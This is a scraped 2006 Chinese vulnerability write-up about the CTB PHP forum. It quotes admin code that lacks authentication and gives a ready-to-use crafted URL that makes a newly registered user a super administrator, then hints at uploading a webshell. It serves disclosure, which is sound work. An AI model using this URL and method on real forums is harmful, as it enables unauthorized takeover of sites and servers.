漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
PHP安全配置
Oct 09 PHP
PHP 无限分类三种方式 非函数的递归调用!
Aug 26 PHP
用PHP即时捕捉PHP中的错误并发送email通知的实现代码
Jan 19 PHP
简单的cookie计数器实现源码
Jun 07 PHP
CentOS 6.2使用yum安装LAMP以及phpMyadmin详解
Jun 17 PHP
6种php上传图片重命名的方法实例
Nov 04 PHP
PHP针对JSON操作实例分析
Jan 12 PHP
PHP中array_keys和array_unique函数源码的分析
Feb 26 PHP
Symfony2实现从数据库获取数据的方法小结
Mar 18 PHP
php set_include_path函数设置 include_path 配置选项
Oct 30 PHP
POST一个JSON格式的数据给Restful服务实例详解
Apr 07 PHP
PHP高并发和大流量解决方案整理
Dec 24 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
通达OA公共代码 php常用检测函数
2011/12/14 PHP
PHP数据流应用的一个简单实例
2012/09/14 PHP
php实现文件管理与基础功能操作
2017/03/21 PHP
浅谈PHP面向对象之访问者模式+组合模式
2017/05/22 PHP
理解Javascript_12_执行模型浅析
2010/10/18 Javascript
Ext JS 4官方文档之三 -- 类体系概述与实践
2012/12/16 Javascript
jquery submit ie6下失效的原因分析及解决方法
2013/11/15 Javascript
javascript中数组方法汇总
2015/07/07 Javascript
jQuery实现的纵向下拉菜单实例详解【附demo源码下载】
2016/07/09 Javascript
JCrop+ajaxUpload 图像切割上传的实例代码
2016/07/20 Javascript
JS for循环中i++ 和 ++i的区别介绍
2016/07/20 Javascript
详解AngularJS如何实现跨域请求
2016/08/22 Javascript
JS根据生日月份和日期计算星座的简单实现方法
2016/11/24 Javascript
利用transition实现文字上下抖动的效果
2017/01/21 Javascript
jQuery zTree 异步加载添加子节点重复问题
2017/11/29 jQuery
JavaScript引用类型Object常见用法实例分析
2018/08/08 Javascript
如何使用pm2快速将项目部署到远程服务器
2019/03/12 Javascript
electron-vue利用webpack打包实现多页面的入口文件问题
2019/05/12 Javascript
关于layui时间回显问题的解决方法
2019/09/24 Javascript
Array.filter中如何正确使用Async
2020/11/04 Javascript
[03:37]2014DOTA2国际邀请赛 主赛事第一日胜者组TOPPLAY
2014/07/19 DOTA
9种python web 程序的部署方式小结
2014/06/30 Python
python通过pil模块获得图片exif信息的方法
2015/03/16 Python
python学习之第三方包安装方法(两种方法)
2015/07/30 Python
python+django快速实现文件上传
2016/10/24 Python
Python爬虫实现爬取百度百科词条功能实例
2019/04/05 Python
Python序列化pickle模块使用详解
2020/03/05 Python
jupyter notebook 重装教程
2020/04/16 Python
美国户外运动商店:Sun & Ski
2018/08/23 全球购物
LORAC官网:美国彩妆品牌
2019/08/27 全球购物
初中数学教学反思
2014/01/16 职场文书
爱护公共设施演讲稿
2014/09/13 职场文书
初中作文评语集锦
2014/12/25 职场文书
2015年组织部工作总结
2015/04/03 职场文书
小学教育见习总结
2015/06/23 职场文书
MyBatis配置文件解析与MyBatis实例演示
2022/04/07 Java/Android